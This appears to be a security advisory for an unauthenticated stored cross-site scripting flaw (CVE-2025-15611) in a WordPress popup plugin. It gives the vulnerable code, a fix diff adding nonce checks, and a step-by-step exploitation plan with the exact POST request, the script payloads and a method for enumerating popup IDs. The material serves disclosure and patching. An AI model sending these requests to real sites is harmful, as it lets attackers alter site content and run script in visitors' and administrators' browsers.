Popup Box – Create Countdown, Coupon, Video, Contact Form Popups < 5.5.0 - Unauthenticated Stored Cross-Site Scripting
Description
The Popup Box – Create Countdown, Coupon, Video, Contact Form Popups plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 5.5.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v5.5.0
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-15611 (Popup Box Plugin) ## 1. Vulnerability Summary The **Popup Box – Create Countdown, Coupon, Video, Contact Form Popups** plugin for WordPress is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)** in versions up to and including **5.4.9**…
Show full research plan
Exploitation Research Plan - CVE-2025-15611 (Popup Box Plugin)
1. Vulnerability Summary
The Popup Box – Create Countdown, Coupon, Video, Contact Form Popups plugin for WordPress is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) in versions up to and including 5.4.9.
The vulnerability exists because the plugin registers a handler for popup creation and updates on the admin_init hook (via the Ays_Pb_Admin class). This handler includes the file admin/partials/actions/ays-pb-admin-actions.php, which processes $_POST data to save popup configurations. Crucially, this file and the underlying saving method fail to verify nonces or user capabilities before performing database operations. Since admin_init is triggered for all requests to /wp-admin/admin-ajax.php (even for unauthenticated users), any visitor can modify existing popups or create new ones containing malicious JavaScript.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php(or any admin URL that triggersadmin_init). - HTTP Method:
POST(with optionalGETparameters for ID targeting). - Authentication: None (Unauthenticated).
- Vulnerable Parameters:
ays_pb_titleays_pb_descriptionays_pb_content- Any field within the
optionsJSON structure processed byadd_or_edit_popupbox().
- Preconditions: The plugin must be active. To overwrite an existing popup, the attacker needs its ID (usually starts at 1 and increments).
3. Code Flow
- Entry Point: A request is made to
/wp-admin/admin-ajax.php. - Hook Trigger: WordPress fires the
admin_inithook. - Plugin Handler: The plugin's admin class (likely
Ays_Pb_Admin) has a method hooked toadmin_init. - Partial Inclusion: This method includes
admin/partials/actions/ays-pb-admin-actions.php(confirmed in source). - Vulnerable Logic:
ays-pb-admin-actions.phpchecks ifisset($_POST['ays_submit']).- It captures the popup ID from
$_GET['popupbox']and assigns it to$_POST['id']. - It calls
$this->popupbox_obj->add_or_edit_popupbox().
- Data Sink:
add_or_edit_popupbox()(inincludes/class-ays-pb-admin.php, inferred) takes the raw$_POSTdata and saves it to the{wpdb_prefix}ays_pbtable. - Rendering: When an admin views the popup list or a user visits a page where the popup is displayed, the unsanitized title or content is rendered, executing the injected script.
4. Nonce Acquisition Strategy
No nonce is required.
The provided source file admin/partials/actions/ays-pb-admin-actions.php explicitly checks for the presence of $_POST['ays_submit'] but contains no calls to check_admin_referer() or wp_verify_nonce().
// admin/partials/actions/ays-pb-admin-actions.php
if (isset($_POST['ays_submit']) || isset($_POST['ays_submit_top'])) {
$_POST['id'] = $id;
$this->popupbox_obj->add_or_edit_popupbox();
}
5. Exploitation Strategy
The exploit will perform an unauthenticated POST request to /wp-admin/admin-ajax.php to overwrite an existing popup with a malicious payload.
Step-by-Step Plan:
- Identify Popup ID: Popups typically start with ID
1. We will targetpopupbox=1. - Craft Payload: A standard XSS payload
<script>alert(document.domain)</script>. - Execute HTTP Request: Use
http_requestto send the payload.
HTTP Request Details:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?popupbox=1 - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded
- Body Parameters:
ays_submit: 1ays_pb_title: Malicious Popupays_pb_content: <script>alert(document.domain)</script>ays_pb_description: Stored XSS
6. Test Data Setup
Before executing the exploit, ensure at least one popup exists.
# Use WP-CLI to insert a dummy popup record into the database
wp db query "INSERT INTO \$(wp db prefix)ays_pb (title, content, options) VALUES ('Safe Popup', 'Normal Content', '{}')"
7. Expected Results
- The HTTP response from
admin-ajax.phpmight be a redirect (302) or a success message (depending on howadd_or_edit_popupboxhandles the redirect). - The database record for popup ID 1 will be updated with the malicious payload.
- Navigating to the admin page
wp-admin/admin.php?page=ays-pbwill trigger the XSS.
8. Verification Steps
After the exploit, verify the database state using WP-CLI:
# Check if the title was modified
wp db query "SELECT title, content FROM \$(wp db prefix)ays_pb WHERE id=1" --format=table
9. Alternative Approaches
If overwriting an existing ID fails (e.g., if ID 1 doesn't exist):
- ID Discovery: Iterate
popupbox=Xfrom 1 to 20. - Creation Attempt: Try omitting the
popupboxparameter in theGETquery. Ifadd_or_edit_popupbox()handles null IDs by creating a new record, the payload will be stored in a new popup. - Field Variation: Some versions of the plugin might store the content inside the
optionsJSON. Ifays_pb_contentdoesn't work, try injecting into theoptionsparameter:- Body:
ays_submit=1&options={"ays_pb_content":"<script>alert(1)</script>"}(URL encoded).
- Body:
Summary
The Popup Box plugin for WordPress is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) because it processes popup save requests on the admin_init hook without verifying nonces or user capabilities. Attackers can remotely modify or create popups containing malicious JavaScript, which executes when site visitors or administrators view the affected pages or the plugin's dashboard.
Vulnerable Code
// admin/partials/actions/ays-pb-admin-actions.php line 6 if (isset($_POST['ays_submit']) || isset($_POST['ays_submit_top'])) { $_POST['id'] = $id; $this->popupbox_obj->add_or_edit_popupbox(); } if (isset($_POST['ays_apply']) || isset($_POST['ays_apply_top'])) { $_POST['id'] = $id; $_POST['submit_type'] = 'apply'; $this->popupbox_obj->add_or_edit_popupbox(); } --- // admin/partials/actions/ays-pb-admin-actions.php line 8704 (example of unsanitized JS output) $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val());
Security Fix
@@ -4,11 +4,19 @@ $ays_pb_tab = isset($_GET['ays_pb_tab']) ? sanitize_text_field($_GET['ays_pb_tab']) : 'tab1'; if (isset($_POST['ays_submit']) || isset($_POST['ays_submit_top'])) { + // CSRF protection: verify nonce and referer before processing + if ( ! isset($_POST['pb_action']) || ! check_admin_referer( 'pb_action', 'pb_action' ) ) { + wp_die( 'Invalid request.' ); + } $_POST['id'] = $id; $this->popupbox_obj->add_or_edit_popupbox(); } if (isset($_POST['ays_apply']) || isset($_POST['ays_apply_top'])) { + // CSRF protection: verify nonce and referer before processing + if ( ! isset($_POST['pb_action']) || ! check_admin_referer( 'pb_action', 'pb_action' ) ) { + wp_die( 'Invalid request.' ); + } $_POST['id'] = $id; $_POST['submit_type'] = 'apply'; $this->popupbox_obj->add_or_edit_popupbox(); @@ -8693,7 +8701,7 @@ 'background-size' : pb_bg_image_sizing, 'background-position' : pb_bg_image_position }); - $(document).find(ays_pb_view_type + ' .desc').html($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val()); + $(document).find(ays_pb_view_type + ' .desc').text($("#<?php echo esc_attr($this->plugin_name); ?>-popup_description").val()); $(document).find(ays_pb_view_type + ' .ays_title').html( pbTitle ); $(document).find("#ays-pb-close-button-text").on('change', function () { if($("#ays-pb-close-button-text").val() == '✕'){
Exploit Outline
To exploit this vulnerability, an unauthenticated attacker needs to send a crafted POST request to the WordPress admin-ajax.php endpoint. Because the plugin's save logic is triggered by the 'admin_init' hook (which fires even for unauthenticated requests to certain admin scripts) and fails to check for nonces or administrative privileges, the attacker can overwrite existing popups or create new ones. The payload should include 'ays_submit=1' and a malicious script in parameters like 'ays_pb_title' or 'ays_pb_content'. If targeting an existing popup, the 'popupbox' GET parameter should be set to the target's ID. Once saved, the injected script will execute when the popup is rendered on the front end or in the admin preview.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.